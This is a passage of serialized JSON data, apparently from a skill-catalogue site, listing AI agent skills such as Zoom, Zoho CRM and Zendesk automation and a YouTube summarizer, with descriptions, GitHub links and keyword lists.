management","typescript","action","management","separation","global",{"skillNo":108,"name":109,"nameZh":6,"description":110,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":111,"categories":112,"keywords":116,"publishedAt":51},"01M71TQ5EAR40G6W0MV5ZDVEZT","zoom-automation","Automate Zoom meeting creation, management, recordings, webinars, and participant tracking via Rube MCP (Composio). Always search tools first for current schemas.","https:\u002F\u002Fgithub.com\u002Fjaviertarazon\u002Fide-agente-free-jt7-\u002Fblob\u002Frelease\u002Fv4.2.11-panel-pro\u002F.github\u002Fskills\u002Fzoom-automation\u002FSKILL.md",[113],{"categoryNo":114,"categoryName":115,"taxonomyType":20,"taxonomyTypeDesc":21},"01JBSEEDCAT000000000000023","Skill与智能体开发",[117,118,119,50,120,121,122,123,124,47,125,126,127,128,129,130,131,132,104,133],"zoom automation","zoom","automation","creation","for","search","schemas","MCP","first","via","meeting","search tools","tracking","webinars","composio","recordings","Tools",{"skillNo":135,"name":136,"nameZh":6,"description":137,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":138,"categories":139,"keywords":141,"publishedAt":51},"01M71TQ29B1EYBCEAP1ZBGXQ1A","zoho-crm-automation","Automate Zoho CRM tasks via Rube MCP (Composio): create\u002Fupdate records, search contacts, manage leads, and convert leads. Always search tools first for current schemas.","https:\u002F\u002Fgithub.com\u002Fjaviertarazon\u002Fide-agente-free-jt7-\u002Fblob\u002Frelease\u002Fv4.2.11-panel-pro\u002F.github\u002Fskills\u002Fzoho-crm-automation\u002FSKILL.md",[140],{"categoryNo":114,"categoryName":115,"taxonomyType":20,"taxonomyTypeDesc":21},[142,143,119,144,145,146,50,147,148,121,149,122,123,150,124,47,151,152,153,100],"crm automation","zoho crm automation","crm","zoho crm","zoho","leads","manage leads","manage","records","convert","tasks","contacts",{"skillNo":155,"name":156,"nameZh":6,"description":157,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":158,"categories":159,"keywords":161,"publishedAt":51},"01M71TPZPMN60DH0XV58KVHY23","zendesk-automation","Automate Zendesk tasks via Rube MCP (Composio): tickets, users, organizations, replies. Always search tools first for current schemas.","https:\u002F\u002Fgithub.com\u002Fjaviertarazon\u002Fide-agente-free-jt7-\u002Fblob\u002Frelease\u002Fv4.2.11-panel-pro\u002F.github\u002Fskills\u002Fzendesk-automation\u002FSKILL.md",[160],{"categoryNo":114,"categoryName":115,"taxonomyType":20,"taxonomyTypeDesc":21},[162,119,163,50,121,122,123,124,164,47,152,165,166,125,126,167,128,131,133,168],"zendesk automation","zendesk","organizations","replies","users","tickets","automate",{"skillNo":170,"name":171,"nameZh":6,"description":172,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":173,"categories":174,"keywords":175,"publishedAt":51},"01M71TPXDWKHKG4N6TVEPXWD0N","zapier-make-patterns","No-code automation democratizes workflow building. Zapier and Make (formerly Integromat) let non-developers automate business processes without writing code. But no-code doesn't mean no-complexity ...","https:\u002F\u002Fgithub.com\u002Fjaviertarazon\u002Fide-agente-free-jt7-\u002Fblob\u002Frelease\u002Fv4.2.11-panel-pro\u002F.github\u002Fskills\u002Fzapier-make-patterns\u002FSKILL.md",[],[176,177,178,179,180,181,182,183,184,119,185,47,186,187,188,189,190,168],"zapier make patterns","zapier","patterns","make","No-Code","complexity","writing","spawner","business","workflow","code","integromat","apache","processes","but",{"skillNo":192,"name":193,"nameZh":6,"description":194,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":195,"categories":196,"keywords":200,"publishedAt":51},"01M71TPT5T10WXNKW9G7ZXZ27W","youtube-summarizer","Extract transcripts from YouTube videos and generate comprehensive, detailed summaries using intelligent analysis frameworks","https:\u002F\u002Fgithub.com\u002Fjaviertarazon\u002Fide-agente-free-jt7-\u002Fblob\u002Frelease\u002Fv4.2.11-panel-pro\u002F.github\u002Fskills\u002Fyoutube-summarizer\u002FSKILL.md",[197],{"categoryNo":198,"categoryName":199,"taxonomyType":20,"taxonomyTypeDesc":21},"01JBSEEDCAT000000000000016","图像与多媒体",[201,202,203,204,50,205,206,207,208,209,210,211,186,212,213,214,215,216,217,218],"summarizer","youtube","youtube summarizer","Video","content-analysis","frameworks","copilot","2025","github-copilot","extract transcripts","analysis","codex","cli","summaries","github","generate","summarization","2026"]